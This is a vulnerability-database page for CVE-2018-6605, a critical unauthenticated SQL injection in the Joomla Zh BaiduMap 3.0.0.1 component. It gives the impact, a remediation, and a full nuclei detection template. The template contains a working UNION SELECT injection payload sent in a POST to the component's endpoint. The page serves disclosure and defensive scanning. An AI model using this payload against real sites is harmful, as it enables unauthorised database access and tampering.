HexBrain

Browse / CVEs / CVE-2018-6605

CVE-2018-6605· zh baidumap project / zh baidumap· CWE-89

Joomla! Component Zh BaiduMap 3.0.0.1 - SQL Injection

criticalseverity
9.8CVSS score
57.7%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

SQL Injection exists in the Zh BaiduMap 3.0.0.1 component for Joomla! via the id parameter in a getPlacemarkDetails, getPlacemarkHoverText, getPathHoverText, or getPathDetails request.

Impact

Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Joomla installation.

Fix

Remove the vulnerable Zh BaiduMap component or upgrade to a patched version.

How to confirm it

Send: POST {{BaseURL}}/index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails
Positive when: contains "{{md5(num)}}" or "dataexists" AND status 200

Run it with nuclei: nuclei -id CVE-2018-6605 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2018-6605

info:
  name: Joomla! Component Zh BaiduMap 3.0.0.1 - SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    SQL Injection exists in the Zh BaiduMap 3.0.0.1 component for Joomla! via the id parameter in a getPlacemarkDetails, getPlacemarkHoverText, getPathHoverText, or getPathDetails request.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Joomla installation.
  remediation: |
    Remove the vulnerable Zh BaiduMap component or upgrade to a patched version.
  reference:
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/C0reL0ader/EaST/blob/master/exploits/efa_joomla_zh_baidumap_sqli.py
    - https://www.exploit-db.com/exploits/43974
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-6605
    cwe-id: CWE-89
    epss-score: 0.57702
    epss-percentile: 0.99089
    cpe: cpe:2.3:a:zh_baidumap_project:zh_baidumap:3.0.0.1:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: zh_baidumap_project
    product: zh_baidumap
    framework: joomla\!
    fofa-query:
      - app="Joomla!-网站安装"
      - app="joomla!-网站安装"
  tags: cve,cve2018,joomla,sqli,joomla\!,zh_baidumap_project,vkev,vuln
variables:
  num: "{{rand_int(2000000000, 2100000000)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails"

    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{num}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "{{md5(num)}}"
          - "dataexists"
        part: body

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from